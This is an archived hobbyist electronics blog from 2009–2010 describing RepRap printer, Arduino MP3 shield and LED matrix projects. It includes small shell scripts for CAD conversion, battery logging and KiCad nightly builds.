Stuff, things and junk

The blog has moved!

2010-05-03T19:09:00.003+01:00

I've decided to migrate from Blogspot.com and Blogger to Wordpress on my main web page at http://www.brokentoaster.com/

You can find the new blog at http://www.brokentoaster.com/blog/

The RSS feed is at feed://www.brokentoaster.com/blog/?feed=rss2

Apologies for any inconvenience this may cause.

Back in the UK

2010-04-24T12:49:00.003+01:00

Just got back to the UK after a volcano related extension to my holiday in NZ. I've also fixed the EAGLE files link for the Arduino MP3 player shield mentioned in this earlier blog post

reprap first print! - video

2010-03-30T19:50:00.003+01:00

Reprap first print!

2010-03-27T19:47:00.002Z

After four months of soldering and mucking about with screws and metal things I finally have a working 3D printer.

This was built using Makerbot electronics and aluminium versions of the printed parts. I will publish the drawings of the machined parts as soon as I have 1) tidied them up, 2) fixed the mistakes I put on them and 3) confirmed the design actually works. I made a few changes from the designs released in November in order to make them machine-able, but for the most part they are true to the original designs and taken from the STEP files or the STL files converted back into CAD files.

I've deliberately mounted the electronics in an open fashion on standoffs on an aluminium base plate to facilitate testing as I plan to improve and refine the design. I'd like to improve the electronics, PCB design and location of boards with an eye towards EMC and proper shielding, but for moment they are open to allow scope and multimeter access. I hope to tidy up all the cables into tidy looms and things a bit once I'm happier with the performance and reliability. I had an opto-interrupter board fail on me which resulted in a couple of crashes so I've temporarily replaced them with some very cheap push buttons. Probably a short circuit on the veroboard versions I built up, that'll teach me for being too cheap to pay $1 for a decent PCB.

I am reasonably happy with these prints as a first attempt. I think I really need to tweak the settings and the operation of the extruder to get things working better. (The part designs are from Thingiverse parametric spur gears, Thingiverse parametric Lego block)

I'm quite glad to notice the latest version of host software is functioning on OS X, it saves me having to boot up windows every time I want to print. I say functioning and not working as it doesn't quite fit all the controls on the screen nicely and does odd things every now and then. But it is better than it was a couple of months ago and so it is looking good for the future.

Sadly I'm off home to NZ for a few weeks so wont get a decent chance to to get it all going properly till the end of the month. On the other hand the software may have moved forward another step by then as well and I might even take the time to read the instructions.

Arduino MP3 Rev B v0.0

2010-02-15T22:31:00.005Z

Last week I managed to have some luck with my Arduino MP3 shield. The big hold up was caused by not having enough power from the FT232RL chip to supply the decoder and the memory card at the same time (50mA max d-oh). I also had a software issue, I had not altered the code to deal with the 16Mhz clock speed of the arduino from the 8Mhz I was using on the ButterflyMP3 project. The SPI clock was running at 8Mhz where it needed to be slower than 6MHz (to comply with the VS1011E datasheet). Once I had that sorted everything just popped into place and started working reliably.

I apologise in advance for the poor integration of the library examples. I have simply and quite roughly ported the minimal parts of my buterflymp3 project over to the arduino and this hardware. The examples will test reading FAT16 file system on the MMC/SD card, test the VS1011E decoder chip, and play the first mp3 file found on the memory card. I hope to get these tidied up later but have not had any time to do so lately.

The PCB has not actually been tested yet so I'd hold off building a million of these until after a successful test. There is unlikely to be much wrong with it though as I have simply added a voltage regulator and re routed a couple of signals to fix my earlier mistakes. ( I'd forgotten that I/O lines 0 and 1 are used by the uart on the arduino)

I have embedded the BOM below. ( The bom is here if you don't see it below)

Here are all the files so far. These are all released under a Creative Commons 2.5 license .

EAGLE files are here

GERBER files are here

Arduino Library files are here

PDF of the schematic is here

To use the library simply put the "mp3" folder from the zip file inside the "libraries" folder in your arduino folder (create one if it doesn't exist). Restart Arduino 018 or later and you should have "mp3" entries in the menus under examples and import libraries.

The BOM references a 2.8V LDO voltage regulator but the schematic shows a 3.3V. Either will work fine but the 2.8 will give you slightly lower power usage.

If you are interested in PCBs or kits, drop me a line at buy_pcbs@brokentoaster.com
As always any comments, suggestions or ideas are welcome.

Reprap extruder heater

2010-01-20T17:51:00.006Z

My cheap polymide tape arrived from Hong-Kong yesterday so I was able to get the heater built on the extruder for the reprap. No problems with the construction of the heater itself, although after running some tests I discovered the thermistor I had chosen is only rated to 155 degreees Celcius. I obviously wasn't looking very hard when I ordered it or perhaps it was just the fact that it was one tenth the cost of a more suitable device that convinced me to buy it. I should have a new thermistor in this week and replace this one.

Before going too far with my heater I wanted to test the system and check that the temperature measured was accurate. I ran three sets of tests. Using the Butterfly Logger with some DS18B20's and a SHT71 I logged the temperature of the barrel at the edge of the extruder (see close up above). The SHT-71 was used to monitor the extruder temperature with the DS18B20's monitoring ambient. The first test was logged at 10 second intervals with the later two logged each second.

TEST 1
The first test was a 0.2 deg C/s ramp from near ambient up to 75 deg C and then a step change to 100 deg C and then passive cooling. This is shown in the plot below. The period of 10 seconds seemed too slow to give me a good idea of the stability so n the following tests it was decreased to 1 second. This did show rough correlation between the set temperatures and the measured temperatures although not really as accurate as I had hoped.

TEST 2
This test was a controlled ramp of 0.2 deg C/s from near ambient up to 100 deg C. After holding at 100 deg C the system is passively cooled to 50 deg C. The system holds at 50 deg C momentarily before being given a step change to 100 deg C, after which the system is allowed to cool to ambient.
The better time resolution allows the system stability to be better assessed. The system looks reasonably stable at the 100 deg hold mark. Here it is cycling around 5 deg around the set point. The 'stable' temperature is slowly rising which I attribute to the thermal mass of the barrel and thermal barrier warming up. It is not 100 deg C as it is not measuring at the same point where the control thermistor is measuring. Looking at this initially lead me to check the characteristics of the thermistor I was using and is what lead me to discover that it was only rated at 155 deg C. In checking the data sheet I also noticed a diference in the Beta value fromt he look up table used in the extruder firmware. I recalculated the look up table accordingly and repeated the tests in test 3.

TEST 3
This was a repeat of the previous tests with the new lookup table ( Beta = 4400). This seemed to give a ramp rate twice of what was programmed (0.45 deg C/s compared to 0.2 deg C/s). The temperatures seemed hotter which is expected given the change in thermistor table for the control firmware.

The next test will of course be to see how the system performs when loaded i.e. extruding some plastic.

Reprap Electronics build

2010-01-17T21:02:00.007Z

I ran out of time this weekend to get anything done on the MP3 shield or the MLMC projects. I did however manage to find time to solder up the electronics for my reprap I'm building. After a couple of hitches I also got the firmware on and up and running.I had to download the latest from SVN else I got a clash between the stepper-motor drivers and the servo motor drivers in the firmware for the extruder.

I built the mother board to use a standard PC power connector even though I'm building a reprap. It just seemed silly to power this PCB via USB and then rig the power-supply to power all the other boards. I temporarily used the USB 5V to power the PCB via a pin on the JTAG connector during programming the firmware. Before the firmware on the mother board was programmed the PC PSU wouldn't fire up so I needed a temporary power supply.

I managed to test the extruder board with some test software I found at http://objects.reprap.org/wiki/Microcontroller_Firmware_Hints#Driving_Steppers_with_the_Extruder_Controller_V2.2_.28Arduino_inside....29. But I haven't managed to get it working through the mendel firmware via the host software yet. The thermistor was working so I know the RS485 link is functioning properly. Probably just a configuration.h option I've over looked.

It took a couple of hours to get the three boards all soldered up and tested. I'll post more when I have more done. I'll probably be focusing on the mechanical side of building the Cartesian robot for now so not much electronics left to do, although I still have the firmware to sort through...

[EDIT] It turns out that I had overlooked the I2C connection between the motherboard and the extruder board. I should really have read the instruction.

New PCBs in from BatchPCB

2010-01-05T20:12:00.006Z

My order of PCBs from BatchPCB arrived the week before Christmas so plenty of soldering and things to keep me busy over the holiday. I've also been distracted of late with building a reprap, although I've not got much further than amassing a number of PCBs, components and motors, watch this space for details as the build progresses.

My Batch PCB contained a new version of the Arduino MP3 board with provision for running from the 5V Duemilanove Arduino and a number of MLMC boards so I can string them together for testing. Unfortunately the ArduinoMP3 PCB had a couple of design errors, which is typical when your working on a design off and on over a course of months. The design will probably be released soon, but the libraries and demo code are also proving slightly more difficult.

Some changes to Hardware.
The basic design of the board is the same, VS1011 and SD card shared on the SPI bus with a 5 way Joystick on some digital lines.

I forgot about the TX/RX lines being shared with digital 0 and 1 on the arduino so I've had to re-route signals using those pins to the previously unused analog/general IO pins.

A couple of changes related to running the circuits on a 5V / 3V3 system. My Butterfly MP3 system that I based this on was powered from a single supply rail of 2.8V. The FTDI USB chip on the arduino was originally used to provide a 3V3 supply to the shield. I thought the 50 mA stated in the data sheet would be enough as my butterfly mp3 system only used about 50mA including processor and display. Unfortunately the is a large current draw when an SD Card is inserted causing the FTDI chip to reset and breaking connection with the PC. Although not a big problem I decided to add an LP2981 LDO regulator to supply a 100mA for the card and MP3 player circuits. If you don't want to use this then you can not fit the parts and easily bypass with a jumper wire.

C++ing the libraries
I was hoping to use the existing libraries for the Arduino and SD cards to access the MMC/SD Cards and provide demo code to show using the shield. For an as yet unknown reason the existing libraries from Adafruit wave shield do not work. In order to test my hardware I have converted my MMC and FAT libraries from the ButterflyMP3 project to C++ for use with the Arduino system. I few teething problems and issues as I remember how C++ works and I now have a working SD Card system. Output from my current software is shown below

I'd like to use the already available libraries as they offer FAT32 and extended features over my bare bones implementation - so not quite ready to publish any finished code just yet.

Next step is adding the support for the VS1011. Again not quite as smooth as I'd hopped but moving along with the help of the old intronix logic port. Currently the VS1011 is not setting up correctly. Occasionally it plays OK but mostly nothing or a very slow version of a song, indicating to me the clock registers are not being set correctly.

I think another weekend or so of work and I'll be there but if you'd like a copy of the current PCBs or Arduino files then just drop me an email or leave a comment.

Current Demo Software Terminal Output


TEST
0
MMC_RESET returned 0
MMC_SEND_STATUS returned 0
MMC_SEND_CID returned 0
0: FE 02 54 4D 53 44 30 31 47 28 9A CF 7B 33 00 7A ..TMSD01G(...3.z
1: 83 08 8E FF FF FF FF FF FF FF FF FF FF FF FF FF ................
MMC_SEND_CSD returned 0
0: FE 00 2D 00 32 5B 59 83 D6 7E FB FF 80 16 40 00 ..-.2[Y.......@.
1: FB 5E C9 FF FF FF FF FF FF FF FF FF FF FF FF FF .^..............
MMC_Capacity returned 1037952
MMC_Name returned 0 SD01G(
MMC_Read returned 0
MMC First Sector: 
0: FA 33 C0 8E D0 BC 00 7C 8B F4 50 07 50 1F FB FC .3........P.P...
1: BF 00 06 B9 00 01 F2 A5 EA 1D 06 00 00 BE BE 07 ................
2: B3 04 80 3C 80 74 0E 80 3C 00 75 1C 83 C6 10 FE ...<.t..<.u.....
3: CB 75 EF CD 18 8B 14 8B 4C 02 8B EE 83 C6 10 FE .u......L.......
4: CB 74 1A 80 3C 00 74 F4 BE 8B 06 AC 3C 00 74 0B .t..<.t.....<.t.
5: 56 BB 07 00 B4 0E CD 10 5E EB F0 EB FE BF 05 00 V.......^.......
6: BB 00 7C B8 01 02 57 CD 13 5F 73 0C 33 C0 CD 13 ......W.._s.3...
7: 4F 75 ED BE A3 06 EB D3 BE C2 06 BF FE 7D 81 3D Ou.............=
8: 55 AA 75 C7 8B F5 EA 00 7C 00 00 49 6E 76 61 6C U.u........Inval
9: 69 64 20 70 61 72 74 69 74 69 6F 6E 20 74 61 62 id partition tab
A: 6C 65 00 45 72 72 6F 72 20 6C 6F 61 64 69 6E 67 le.Error loading
B: 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65  operating syste
C: 6D 00 4D 69 73 73 69 6E 67 20 6F 70 65 72 61 74 m.Missing operat
D: 69 6E 67 20 73 79 73 74 65 6D 00 00 00 00 00 00 ing system......
E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
12: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
13: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
14: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
15: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
16: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
17: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
18: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
19: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1B: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 ................
1C: 37 00 06 03 C3 E6 F3 00 00 00 0D B3 1E 00 00 00 7...............
1D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U.
0
SECTORS PER CLUSTOR 20
BYTES PERSECTOR 0200
FAT Init returned:0
SECTORS PER CLUSTOR 20
BYTES PERSECTOR 0200
FAT boot Sector info
FAT begins at sector 244
Clusters begin at sector 768
Sectors per cluster = 32
Root dir starts at sector 736
THESTR~1.MP3 00045 037A00 2E0F
THESTR~2.MP3 00124 03400 2E1A
THESTR~3.MP3 001F5 025C00 2E24
THESTR~4.MP3 0028C 030400 2E2E
TWINSE~1.MP3 0034D 051B249 2E39
THEWHI~1.MP3 00494 03867AF 2E45
THESTR~5.MP3 0057B 02FE00 2E51
THESTR~6.MP3 0063B 032B00 2E5C
THESTR~7.MP3 0079 034D00 2E68
BEASTI~1.MP3 007DD 02EC9A4 2E74
BEASTI~2.MP3 00899 02E93C3 2E80
BEASTI~3.MP3 00954 01F172F 2E8B
THESTR~8.MP3 009D1 03A300 2E95
THESTR~9.MP3 00ABA 02DC00 2E9F
THEST~10.MP3 00B71 02F00 2EA9
THEST~11.MP3 00C2D 026900 2EB4
05-ILE~1.MP3 00CC8 02E8C16 2EBD
BEASTI~4.MP3 00D83 03EF2C9 2EC8

Files: 18
1A
DONE

STL to IGS (IGES) Conversion

2009-12-06T20:33:00.003Z

I've been trying to get my models from Sketchup into a decent file format for use with different analysis engines and for producing drawings for machining.

After a week of playing about with different options I have managed to get from Sketchup files to IGES files.
I used BRL-CAD to convert from .stl to its native format and then exported as an .igs from there.
Below is a copy of the script i used to convert a whole directory of files.


#!/bin/bash
# Convert an STL file to IGES format using BRL CAD

for file in *.stl
do
#   Add the -b option or binary format stl files (aoi,solid edge etc)
# stl-g -b ${file} ${file}.g

# Use ascii format for exports from sketchup
 stl-g  ${file} ${file}.g
done

for file in *.g
do
 mkdir ${file}.d
 g-iges -m -o ${file}.d ${file} all
 cp ${file}.d/*.igs ${file}.igs
 rm -rf ${file}.d
done

I did run into an issue or two along the way. When initially export as iges with the command g-iges -o file.igs file.g all the file produced caused every program I tried to load it with to crash with the exception of BRL-CAD which loaded it just fine. I found that when I used the -m option and export all regions to a directory of iges files the files worked. The STL files produced by the STL output plug-in for sketchup produces STL files in the ASCII format some programs may produce files in binary format, in which case you will need to add the -b option to the stl-g command. I had to use this when converting the STL files from the reprap project to iges files.

Why IGES files? Because I couldnt get STEP files. While STL files are widely supported they are mesh files that describe surfaces only. Most professional mechanical CAD packages use constructive solid geometry (CSG) techniques and don't like mesh files so much. That's not to say I couldn't load STL files into these packages but the loaded part was less useful when imported from STL as compared to IGES. An IGES file allows me to measure and convert to a solid object or more easily produce drawings for a machinist to work with.

Complete 3D Model of Butterfly MP3

2009-11-22T18:04:00.004Z

I hope to use this data to do some stress analysis of the case design using CAE Linux and look at geting the case built using SLA or SLS techniques.

The Sketchup model is at http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_and_Cases.skp

3D Model AVR Butterfly

2009-11-14T14:47:00.002Z

I've been playing with Google SketchUp for a while as a free tool for doing electronics enclosure design (ie. MP3 Player cases). It seems quite capable although not really targeted at designs in the mm range. I think I will use a larger scale like 10:1 or 100:1 next time to see if that makes things easier.

Here is my first attempt at an AVR Butterfly model for use in case designs on the data logger and MP3 player. You can download in skp and stl format. To export SketchUp files as STL I have used the plugin from http://www.guitar-list.com/download-software/convert-sketchup-skp-files-dxf-or-stl

Stereo Lithography (STL)
SketchUp (SKP)
Image (PNG)

Battery Capacity Logger MkII

2009-11-14T13:58:00.004Z

A minor update to my battery logger script to tidy up the format of the log file and to make a slightly nicer (maintainable) script file.


#!/bin/sh
# batterylogger.sh : Log the battery capacity to a file
#
filename=/var/log/batterycapacity.log
date=`date`
capacity=`system_profiler SPPowerDataType |grep "charge capacity"`
count=`system_profiler SPPowerDataType |grep "Cycle count"`
echo ${date} ${capacity} ${count}  >> ${filename}

This gives a log file output like the following

Sat 14 Nov 2009 13:45:06 GMT Full charge capacity (mAh): 4740 Cycle count: 163

To create the log file in a sensible place like /var/log/ I did the following:


sudo touch /var/log/batterycapacity.log
sudo chmod 666 /var/log/batterycapacity.log

I've also switched to using periodic instead of cron as I can't seem to get cron to work reliably. To make it work with periodic I simply place my batterylogger.sh script in the directory /etc/periodic/daily/

NOTE: I've had a couple of issues lately with pasting from the web into a script file and finding i get the following error:
No such file or directory#!/bin/sh

I've found that this problem is due to binary characters in my text file. I think they are UTF-8 encoded characters that have slipped in from cutting and pasting. To solve this problem I use the command vim -b script. This will load up the file in binary mode so I can see what funny characters have found their way into my file. After deleting the offending character or characters the script functions as expected.

Battery Capacity Logger

2009-11-11T21:05:00.003Z

I just replaced the battery in the 2005 ibook G4 today, great to return to the days of 4 hours of use. I decided I'd like to monitor the life of the battery and so wrote a quick cron job script to log the battery capacity every day. I also have installed this on my main laptop which still gives me 3 hours after 18 months of use.

Write the script.

#!/bin/sh
# batterylogger.sh : Log battery capacity to a file
#
date >> ~/batteryCapacityLog.log
system_profiler SPPowerDataType | grep "charge capacity" >> ~/batteryCapacityLog.log

Make it executable and put somewhere sensible.

chmod 755 batterylogger.sh
cp batterylogger.sh /usr/local/bin/

Make sure it is activated daily by adding the following line in crontab using crontab -e which will make it run at 5:10am every day. This time is chosen to not clash with other actions executing should my laptop be awake at 5am and also to ensure it run each morning when I wake the laptop up.

10 5 * * * /usr/local/bin/batterylogger.sh

The format looks like the following:

Wed Nov 11 20:03:26 GMT 2009
Full charge capacity (mAh): 4859

I may improve the format in the future and add some nice "gnuplot" plots but this gives me the info I want right now. For the record, the outgoing battery was showing a capacity of around 350mAh. This translates to roughly 10-15 mins of use. OS X 10.5.8

The MLMC website is up.

2009-10-04T18:42:00.004+01:00

I've just put a new website up for the MLMC project. No new information over what has been mentioned in the previous blog post, but it is a start. With the initial page up I hope it will encourage me to publish information sooner rather than later. Of course I still need to find time to do some actual work on the project. Next week perhaps.... You can find the site at http://brokentoaster.com/mlmc/

Modular LED Matrix Controller (MLMC)

2009-09-18T14:25:00.009+01:00

What is it?

The MLMC is a smart daisy chain-able LED matrix module.

I call it smart because a display of these can be extended without changing either the firmware on the module controller or the firmware on the display controller. Each individual module will take care of refreshing its display. When new data is sent old data is passed along the chain to the next module. This makes building an arbitrary length scrolling display very simple to implement.

The LED matrix is on a separate PCB so it is simple to adapt to other LED matrices without chaining the controller PCB/firmware. This means that if you were producing a number of different sized displays you could use the same controller PCB. For example for one made from a 16 by 16 LED matrices or a large one made from custom PCBs using 16 by 16 individual 10mm LEDs.

Why?

I liked all of the many LED matrix projects seen on the web and in Circuit Cellar magazine. To enlarge or adapt these displays would mean a redesign of firmware and hardware.

I had a small number of dense 16 by 16 matrices sitting about from my times bargain hunting in Akihabara. These are unused by any of the projects I have seen on the web and in magazines. These matrices have a strange footprint, the pin layout is a cross formation rather than two parallel rows of pins which is more commonly seen). This means work is needed to adapt existing projects to work.

If I built a system purely around the LED matrices I have then very few people could use the resulting design. I would also not be able to reuse the design once my limited supply of these matrices was consumed. By separating out the control hardware from the display hardware I am able to make a much more flexible and enduring design.

I've always been a fan of the 2 Line LCD displays which are common in many projects. These have a standard well known interface so it is trivial to add one to a project. I want to bring that ease of implementation to scrolling LED matrix displays as I have many projects that could all benefit from a large display.

What has been done so far?

A prototype 2 Layer PCB has been manufactured by Batch PCB.

Some basic screen display firmware has been written.

A system tested with 1 Bit per pixel, 16 bit columns of the display are clocked in and displayed while last word in buffer is clocked out.

Preliminary PWM brightness control has been tested but not on a pixel per pixel basis.

What needs to be done?

Hardware

Move resistors ( LED module pcb)
Add decoupling caps (control module pcb)
Add local voltage regs (control module pcb)
Build more modules for testing of chaining
Build different LED Modules

Firmware

Extend from on/off pixels to brightness value
ISR response needs improving

Software Library/Examples

Arduino software is only a basic testing routine.

What will be done?

To call this project finished these are the things I hope to have done.

Release all firmware under a Creative commons License.
Release all pcb files under a Creative commons License.
Release protocols /data sheets under a Creative commons License.
Release an Arduino library to talk to a string of these under a Creative commons License.

How Long will it take?

It will probably never be completed. So I hope to publish unfinished work when it is suitably unfinished whenever I remember.

USB Scroll Wheel

2009-08-05T19:01:00.003+01:00

I have been having a play with a rotary encoder this week and decided to turn it into a USB scroll wheel. I was using a very nice encoder but any standard potentiometer without the stop or a cheaper encoder would also work.

The whole experience turned out be much easier than I originally thought. To get a standalone USB device up and running took very little effort at all.

HARDWARE
I took one of my ATtiny45 USB-Key PCBs and hacked on a voltage divider (two 330k resistors) and some wires to my encoder (+5v, GND, Signal). The purpose of the voltage divider is to keep the sensor output (or ADC input) below the 2.56 vRef being used on the chip and also below the 3.6V being used as Vcc on the PCB.

No pictures or videos yet as it is just a ball of wires.

FIRMWARE
The firmware is based on the Easy logger project from Objective Development. I changed the USB HID report descriptor to reflect a mouse rather than a keyboard. I then added a bit of code to analyse the ADC reading and calculate the rotational velocity of the wheel.

The device is only active once you push the button. This is to stop everything going crazy when I plug in a half finished device during development. The device can be switched off again by another press of the button for the same reason.

I got pretty bored reading all the USB HID documentation so rather than figuring it all out properly, I just snooped in on my normal mouse, read the HID report descriptor and adapted the relevant parts used for it's scroll wheel. The software I used to snoop was "USB Prober" which is in my Utilities folder (Mac OS X 10.5). This might be a standard issue tool or I may have installed it as part of the developer tools. A screen-shot of grabbing this information is shown here. I don't know where or how to find out this info on windows but I'd look at Jan Axelson's site here as a good place to start.

PROBLEMS / STATUS

Even though I've altered USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH in the code it doesn't seemed to have effected the report descriptor on the computer. More than likely I've missed something somewhere but that is what you get for a quick hack.

The source code to main.c is at http://brokentoaster.com/usb-dial/main.c.html . I also made a couple of minor changes to the usbconfig.h file which is at http://brokentoaster.com/usb-dial/usbconfig.h.html.

It doesn't work that well but it does work. Most importantly it proves to me that I can now take any sensor I like and turn it into a computer interface device of some description... perhaps even do something usefull ... one day ... maybe. If I ever get some presentable hardware together I'll update with a picture or two.

Quickcoms 2 : Pocket Term

2009-07-11T19:37:00.005+01:00

I started this project in 2006 while I was living in Japan with an idea to enter it in the 2006 AVR competition. Some things went astray with the hardware design so I dumped it in order to do five other more viable entries. The concept for the project was to take my Quickcoms Renasas design from 2005 and develop it further from the prototype. I mostly wanted to add keyboard support so it could act as stand alone terminal in addition to just decoding serial data. I also wanted it to be the size of a deck of cards and support a LiION battery. I wanted to enlarge the LCD to get closer to 80x40 chars on screen. Include support for a couple of LCDs on the PCBs to allow for a black and white low power version.

What went wrong ( other than trying to put the moon on a stick) ?

I made an assumption about the keyboard from the AVR application note that I would not have to send any data to the keyboard. Most AT keyboards will work without you sending any data back towards them so long as you don't wish to change the status LEDs. I bought a neat little keyboard to go with project from one of the many electronics dens around Akihabara. I wanted something small and light to throw in a toolkit without taking up all the room. Unfortunately this keyboard used an obscure chipset which follows an old protocol which purposely sends a malformed packet and waits for you to send an error response. With no scope or Logic analyser at the time this was a pretty big nail in this projects coffin. Although it only required a couple of small changes to the PCB and some voltage dropping resistors to configure the ATMega16 to transmit I managed to procrastinate this for two years.

I managed to blow up the back-lighting on the LCD display. Took me a while to get around to ordering a replacement.

I didn't provide a decent positive and negative supply rail for the op amps. I tried to rely on the comms transceiver chip to provide this. Unfortunately it was supplying 1 quad opamp and several multiplexes it and seemed to fall over completely. In my prototype I simply used a MAX232ACP with onboard capacitors to provide my circuits with the rails. I had assumed the new transceiver chip would be able to do the same.

Where is it at now?

Well after sorting out the keyboard issue and replacing the LCD I have a small screen that will echo characters from the PS2 keyboard and from PC via a USB serial port. What needs to happen next is sorting out a positive and negative voltage rail to support the multiplexers and opamps. Once that is done I can start porting the code from the original system over to the AVR.

After that is complete I can add the extra features such as logging to the screen, save and replay sessions, and saved macros.

And then What?

After that there is the case (already partially designed) and publishing documentation of the project for the website.

MP3 Rev F GERBER Files now available

2009-06-30T23:43:00.003+01:00

Just a quick note to say that The GERBER files are now available on server. I have also tidyed up the CVS for PCB files and moved the old Protel files. I've also update the release names for the hardware to match the PCB Revisions.

This should make it easier for those of you out their that just want to build the standard design without custom modifications.
The downloads can be found at https://sourceforge.net/projects/butterflymp3/files/

ATTiny45 USB Key

2009-06-22T19:22:00.003+01:00

USB Key.
These are simply ATTiny45 based USB devices based on the V-USB circuits and drivers developed at Ob-Dev. I haven't decided what to do with these yet but the many ideas include a prank keyboard dongles like the capslocker or a keyboard to continually hit F1 or Delete to ensure the bios comes up.

My original idea was to have it generate and remember random passwords so you don't need to type in your 63 char password for the wireless router every time someone comes to visit , simply plug in the dongle and it will type it for you. There are other non keyboard ideas as well such as a simple data logger that converts voltage, temperature, (insert random digital sensor here) to a comport that responds to commands or simply pushes data at a specified rate.

I see Sparkfun have done a nice version of this PCB with some similar ideas. Theres is called AVR Stick

MP3 Shield for Arduino

2009-06-22T19:20:00.002+01:00

MP3 Shield for Ardiuno. Still needs a couple of fixes to the PCB ( I forgot that the arduino was running at 5V not 3V). Might add some voltage dropping resistors as the cheap solution (£0.10) or add an 74HC245 to do it properly so it can run with 3V arduino boards without mods (£0.34). I think I will go for resistors as this makes assembly easier and to mod for 3v operation just means removing a couple. No firmware as of yet so my next job(after fixing the hardware ) will be porting the vs1001 libs from the butterflymp3 project over to arduino. Haven't decided weather to use my own MMC and FAT routines or just grab the ones from adafruit's wave shield . The board has a 3.5mm headphone socket, SD/MMC slot, VS1011 decoder and a 5 way joystick. Perfect for mucking about with MP3s and Arduino.

Whats on my bench at the moment....

2009-06-20T12:53:00.017+01:00

Its been rather quiet (blogwise) for me lately, so I thought I'd update with what I've been working on lately. The following is a rough outline of the stuff I've been working on and probably why I feel like I never get anything done.

General purpose usb key for experimenting with USB drivers firmware and the rest.
MP3 shield for Arduino. Basically an Arduino version of the ButterflyMP3 project.
Daisy chained LED matrix controller. A flexible and extendable display made up of modules that can make any length display you want without changing the firmware.
Quickcoms 2: Pocket Term. A follow up to my Circuit Cellar article and competition project. Current quickcoms info is here.
ButterflyMP3 VS1053 hardware revision.This newer chip decodes :
Ogg Vorbis; MPEG 1 & 2 audio layer III (CBR +VBR +ABR); layers I & II optional; MPEG4 / 2 AAC-LC(+PNS), HE-AAC v2 (Level 3) (SBR + PS); WMA 4.0/4.1/7/8/9 all proﬁles (5-384 kbps); WAV (PCM + IMA ADPCM); General MIDI 1 / SP-MIDI format 0 ﬁles
ButterflyMP3 firmware updates
- Add a simple LED based display. One LED lights up to indicate the track playing. Currently limited to 21 LEDs.
- A simple Matrix keypad for music store "listening post" style operation. multiplexed on LED lines. Currently limited to 21 buttons. One button will trigger a track to be played.
- Scrolling LED Matrix support. This is for my LED matrix project above if I ever finish it.
Butterfly Logger firmware updates
- support GPS logging
- support wireless sensors
The Glitch. A small device that goes inline with low voltage DC wall wart and switches it off and then on again once a day. (I bought a cheap router that needs a hard reset every so often.)

Plus some white LED based low power kitchen lighting, playing around with 3D scanning and of course the online shop which I have been doing absolutly nothing on for the past couple of months.

Kicad OSX nightlies fixed again.

2009-05-29T16:27:00.003+01:00

Got my kicad builds sorted again. finally got the make command right to work with the boost library. I've updated to the latest (1.39) and everything seems to be going well.

My nightly make script now looks like this....

#update from svn
cd /temp/kicad-sources
svn up
new_version=`svn info | grep Revision | cut -f 2 -d\ `
old_version=`cat /temp/install/version.txt`
if [ $new_version -gt $old_version ]
then

#build it
cd build/release
cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE="/usr/local/bin/wx-config" -DwxWidgets_ROOT_DIR="/usr/local/include/wx-2.8" -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/temp/kicad-sources -DCMAKE_OSX_ARCHITECTURES="ppc -arch i386" -DCMAKE_CXX_FLAGS="-D__ASSERTMACROS__"

# make clean
if make > /temp/kicad_errors-${new_version}.txt 2>> /temp/kicad_errors-${new_version}.txt && make install
then
file=kicad_osx_v${new_version}
echo $new_version > /temp/install/version.txt
mv /temp/kicad_errors-${new_version}.txt /temp/install/build_log.txt

#bundle
cd /temp/
cp -rf install ${file}
tar -czf ${file}.tgz ${file}

#upload
curl -T ${file}.tgz ftp://username:password@ftp.brokentoaster.com/
rm -rf ${file}

# cd /temp/kicad-sources/build/release/
# /Developer/usr/bin/packagemaker --doc osx-package.pmdoc --title 'Kicad' -o ${file}.mpkg
# curl -T ${file}.mpkg ftp://username:password@ftp.brokentoaster.com/

else
curl -T /temp/kicad_errors-${new_version}.txt ftp://username:password@ftp.brokentoaster.com/
fi

# go to sleep
open /Users/nick/Applications/SleepNow
else
echo "Kicad is uptodate :) "
fi

/dev/cu vs /dev/tty ( osx serial ports)

2009-03-13T07:16:00.004Z

A while ago someone told me to use /dev/cu.usbserial rather than /dev/tty.usbserial as the former did not require hardware handshaking. I was looking for this justification again as my memory had gone a little hazey on the exact reason for using cu over tty. I found the following at http://lists.berlios.de/pipermail/gpsd-dev/2005-April/001288.html. Thought it a good thing to know and thought I'd remember it here for next time.

"The idea is to supplement software in sharing a line between incoming and outgoing calls. The callin device (typically /dev/tty*) is used for incoming traffic. Any process trying to open it blocks within the open() call as long as DCD is not asserted by hardware (i.e. as long as the modem doesn't have a carrier). During this, the callout device (typically /dev/cu* -- cu stands for "calling unit") can be freely used. Opening /dev/cu* doesn't require DCD to be asserted and
succeeds immediately. Once succeeded, the blocked open() on the callin device will be suspended, and cannot even complete when DCD is raised, until the cu device is closed again.

That way, you can have a getty listening on /dev/tty*, and can still use /dev/cu* without restrictions."

So this is what I use when programming with AVRDude as the butterfly doesn't have any DCD/DTR lines to assert. Its just TX, RX, and GND. If you have problems on the mac using a tty serial port you should try its cu equivalent.

GEDA portfiles

2009-03-09T07:20:00.002Z

